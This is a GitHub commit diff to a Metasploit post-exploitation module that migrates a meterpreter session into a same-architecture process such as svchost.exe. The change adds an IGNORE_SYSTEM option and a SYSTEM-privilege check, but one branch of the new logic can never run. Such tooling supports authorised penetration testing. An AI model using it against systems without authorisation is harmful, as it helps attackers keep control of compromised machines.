Skip to content

Commit ce7b967

Browse files
authored
Update archmigrate.rb
1 parent 78b0fb0 commit ce7b967

File tree

1 file changed

+20
-2
lines changed

1 file changed

+20
-2
lines changed

modules/post/windows/manage/archmigrate.rb

Lines changed: 20 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ class MetasploitModule < Msf::Post
22
include Msf::Post::Windows::Registry
33
include Msf::Post::File
44
include Msf::Post::Common
5+
include Msf::Post::Windows::Priv
56

67
def initialize(info = {})
78
super(update_info(
@@ -21,7 +22,8 @@ def initialize(info = {})
2122
register_options(
2223
[
2324
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
24-
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
25+
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]),
26+
OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have system priveleges', true])
2527
],
2628
self.class
2729
)
@@ -48,7 +50,7 @@ def get_windows_loc
4850
return windir
4951
end
5052

51-
def run
53+
def do_migrate
5254
if check_32_on_64
5355
print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
5456
newproc = datastore['EXE']
@@ -86,4 +88,20 @@ def run
8688
print_good('The meterpreter is the same architecture as the OS!')
8789
end
8890
end
91+
92+
93+
94+
def run
95+
if datastore['IGNORE_SYSTEM']
96+
do_migrate
97+
elsif !datastore['IGNORE_SYSTEM'] && is_system?
98+
print_error('You are running as SYSTEM! Aborting migration.')
99+
elsif datastore['IGNORE_SYSTEM'] && is_system?
100+
print_error('You are running as SYSTEM! You will lose your priveleges!')
101+
do_migrate
102+
elsif !datastore['IGNORE_SYSTEM'] && !is_system?
103+
print_status('You\'re not running as SYSTEM. Moving on...')
104+
do_migrate
105+
end
106+
end
89107
end

0 commit comments

Comments
 (0)